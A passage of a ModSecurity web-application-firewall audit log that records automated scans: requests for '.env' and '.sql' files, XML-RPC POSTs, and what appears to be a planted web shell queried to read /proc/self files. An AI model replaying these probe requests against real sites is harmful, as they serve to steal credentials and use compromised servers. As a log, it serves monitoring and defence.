CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a3f50c28-Z-- --4118ff78-A-- [16/Jun/2025:03:43:04.912949 +0530] aE9FcIl8S04UZ4l67-niqQAAAAk 185.177.72.210 44548 127.0.0.1 7081 --4118ff78-B-- GET /:10000/stats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4118ff78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c7402e96a2410b826b90d00d12756e431750025584; expires=Sun, 15 Jun 2025 23:13:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4118ff78-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/stats/.env"] [unique_id "aE9FcIl8S04UZ4l67-niqQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025584205857 707154 (- - -) Stopwatch2: 1750025584205857 707154; combined=2264, p1=470, p2=1682, p3=0, p4=0, p5=111, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4118ff78-Z-- --0a4b3828-A-- [16/Jun/2025:03:43:18.788871 +0530] aE9FfkNwpNEMJppxC49WRwAAAAI 185.177.72.210 55530 127.0.0.1 7081 --0a4b3828-B-- GET /counterwallet/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0a4b3828-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c5b598b4d7b700fdb250d7a7594847651750025598; expires=Sun, 15 Jun 2025 23:13:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0a4b3828-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/counterwallet/.env"] [unique_id "aE9FfkNwpNEMJppxC49WRwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025598115963 672970 (- - -) Stopwatch2: 1750025598115963 672970; combined=2011, p1=389, p2=1515, p3=0, p4=0, p5=106, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0a4b3828-Z-- --5bddfc29-A-- [16/Jun/2025:03:43:23.045775 +0530] aE9FghAGYpjnkyifC9YkqwAAAAU 185.177.72.210 54464 127.0.0.1 7081 --5bddfc29-B-- GET /:8008/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5bddfc29-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1ab8009e35774828dbb7e9b5af029f8b1750025602; expires=Sun, 15 Jun 2025 23:13:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5bddfc29-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/configurationtion/.env"] [unique_id "aE9FghAGYpjnkyifC9YkqwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025602393786 652052 (- - -) Stopwatch2: 1750025602393786 652052; combined=1773, p1=387, p2=1273, p3=0, p4=0, p5=113, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5bddfc29-Z-- --24f08c00-A-- [16/Jun/2025:03:43:29.497333 +0530] aE9FiENwpNEMJppxC49WTAAAAAI 185.177.72.210 54756 127.0.0.1 7081 --24f08c00-B-- GET /.env.smtp HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --24f08c00-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=52d4f21d73bc83a556761ff9b6efd6ca1750025609; expires=Sun, 15 Jun 2025 23:13:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --24f08c00-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.smtp"] [unique_id "aE9FiENwpNEMJppxC49WTAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025608795954 701467 (- - -) Stopwatch2: 1750025608795954 701467; combined=1865, p1=456, p2=1268, p3=0, p4=0, p5=140, sr=127, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24f08c00-Z-- --87d6d63f-A-- [16/Jun/2025:03:43:42.576302 +0530] aE9FlYl8S04UZ4l67-nivQAAAAk 185.177.72.210 40126 127.0.0.1 7081 --87d6d63f-B-- GET /2021.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --87d6d63f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a1a0652391790d5c6d0cfca6c6d300df1750025622; expires=Sun, 15 Jun 2025 23:13:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --87d6d63f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2021.sql"] [unique_id "aE9FlYl8S04UZ4l67-nivQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025621930755 645622 (- - -) Stopwatch2: 1750025621930755 645622; combined=1842, p1=302, p2=1435, p3=0, p4=0, p5=104, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --87d6d63f-Z-- --b34d0b2f-A-- [16/Jun/2025:03:43:59.106587 +0530] aE9FpkNwpNEMJppxC49WXAAAAAI 185.177.72.210 42042 127.0.0.1 7081 --b34d0b2f-B-- GET /:8888/administrateur/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b34d0b2f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aa89e63a3d2f8b046a69c27d089dfd2c1750025638; expires=Sun, 15 Jun 2025 23:13:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b34d0b2f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/administrateur/.env"] [unique_id "aE9FpkNwpNEMJppxC49WXAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025638446912 659737 (- - -) Stopwatch2: 1750025638446912 659737; combined=1547, p1=325, p2=1126, p3=0, p4=0, p5=96, sr=78, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b34d0b2f-Z-- --6e2f0f1b-A-- [16/Jun/2025:03:44:00.935171 +0530] aE9Fp1R6EeXjkGzEkblpaQAAAAs 128.199.112.101 40664 127.0.0.1 7081 --6e2f0f1b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6e2f0f1b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6e2f0f1b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9Fp1R6EeXjkGzEkblpaQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025639981290 953946 (- - -) Stopwatch2: 1750025639981290 953946; combined=2270, p1=393, p2=1509, p3=45, p4=59, p5=166, sr=122, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e2f0f1b-Z-- --c8ae9c4c-A-- [16/Jun/2025:03:44:02.611831 +0530] aE9FqbIOonfcVDbK8_bpkAAAAAA 185.177.72.210 40748 127.0.0.1 7081 --c8ae9c4c-B-- GET /front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8ae9c4c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4f74b00f955d18919ea56d90395ef41c1750025642; expires=Sun, 15 Jun 2025 23:14:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8ae9c4c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/front-end/.env"] [unique_id "aE9FqbIOonfcVDbK8_bpkAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025641854580 757313 (- - -) Stopwatch2: 1750025641854580 757313; combined=2757, p1=615, p2=2047, p3=0, p4=0, p5=94, sr=149, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8ae9c4c-Z-- --13d01658-A-- [16/Jun/2025:03:44:11.242544 +0530] aE9FslR6EeXjkGzEkblpbgAAAAs 185.177.72.210 55580 127.0.0.1 7081 --13d01658-B-- GET /:8000/data/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --13d01658-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=24e2a48b3a3695ef93d2b651df4f16831750025651; expires=Sun, 15 Jun 2025 23:14:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --13d01658-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/data/.env"] [unique_id "aE9FslR6EeXjkGzEkblpbgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025650575573 667064 (- - -) Stopwatch2: 1750025650575573 667064; combined=2050, p1=408, p2=1471, p3=0, p4=0, p5=170, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --13d01658-Z-- --92b83645-A-- [16/Jun/2025:03:44:21.187204 +0530] aE9FvR-kH31pk4mNbsVDjgAAAAo 54.162.69.192 32918 127.0.0.1 7081 --92b83645-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//proc/self&viewfile=//proc/self/mountstats HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 54.162.69.192 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --92b83645-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2948 Connection: close Content-Type: text/html; charset=UTF-8 --92b83645-H-- Message: Warning. Matched phrase "proc/self/mounts" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/mounts found within ARGS:viewfile: /proc/self/mountstats"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/mounts" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/mounts found within ARGS:viewfile: /proc/self/mountstats"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE9FvR-kH31pk4mNbsVDjgAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750025661182926 4329 (- - -) Stopwatch2: 1750025661182926 4329; combined=2386, p1=353, p2=1904, p3=38, p4=34, p5=57, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --92b83645-Z-- --2c886d54-A-- [16/Jun/2025:03:44:32.443377 +0530] aE9Fx4l8S04UZ4l67-ni2AAAAAk 185.177.72.210 36990 127.0.0.1 7081 --2c886d54-B-- GET /:10000/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2c886d54-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d92077b7edde7aaf2a011264f59dd8bf1750025672; expires=Sun, 15 Jun 2025 23:14:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2c886d54-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/prod/.env"] [unique_id "aE9Fx4l8S04UZ4l67-ni2AAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025671785006 658687 (- - -) Stopwatch2: 1750025671785006 658687; combined=1946, p1=461, p2=1382, p3=0, p4=0, p5=102, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2c886d54-Z-- --0db84658-A-- [16/Jun/2025:03:44:34.500914 +0530] aE9FyVxTdrwJSUMoZvGvDAAAAAc 185.177.72.210 37102 127.0.0.1 7081 --0db84658-B-- GET /:8880/apps/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0db84658-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3ccba471aa56933d8cad95e13f4f73a71750025674; expires=Sun, 15 Jun 2025 23:14:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0db84658-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/apps/.env"] [unique_id "aE9FyVxTdrwJSUMoZvGvDAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025673842698 658282 (- - -) Stopwatch2: 1750025673842698 658282; combined=1779, p1=361, p2=1296, p3=0, p4=0, p5=121, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0db84658-Z-- --fe75a57c-A-- [16/Jun/2025:03:44:49.293868 +0530] aE9F2JtpMljr92g54YHrLwAAAAE 185.177.72.210 44904 127.0.0.1 7081 --fe75a57c-B-- GET /:10000/sites/all/libraries/mailchimp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fe75a57c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c45effea4b9eb515be607013b5a4448c1750025689; expires=Sun, 15 Jun 2025 23:14:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fe75a57c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/sites/all/libraries/mailchimp/.env"] [unique_id "aE9F2JtpMljr92g54YHrLwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750025688570195 723738 (- - -) Stopwatch2: 1750025688570195 723738; combined=1913, p1=396, p2=1423, p3=0, p4=0, p5=93, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fe75a57c-Z-- --7a4fe20b-A-- [16/Jun/2025:03:45:00.943953 +0530] aE9F43ZqyQ8YfVGvJU7dSgAAAAY 128.199.112.101 37086 127.0.0.1 7081 --7a4fe20b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7a4fe20b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7a4fe20b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag 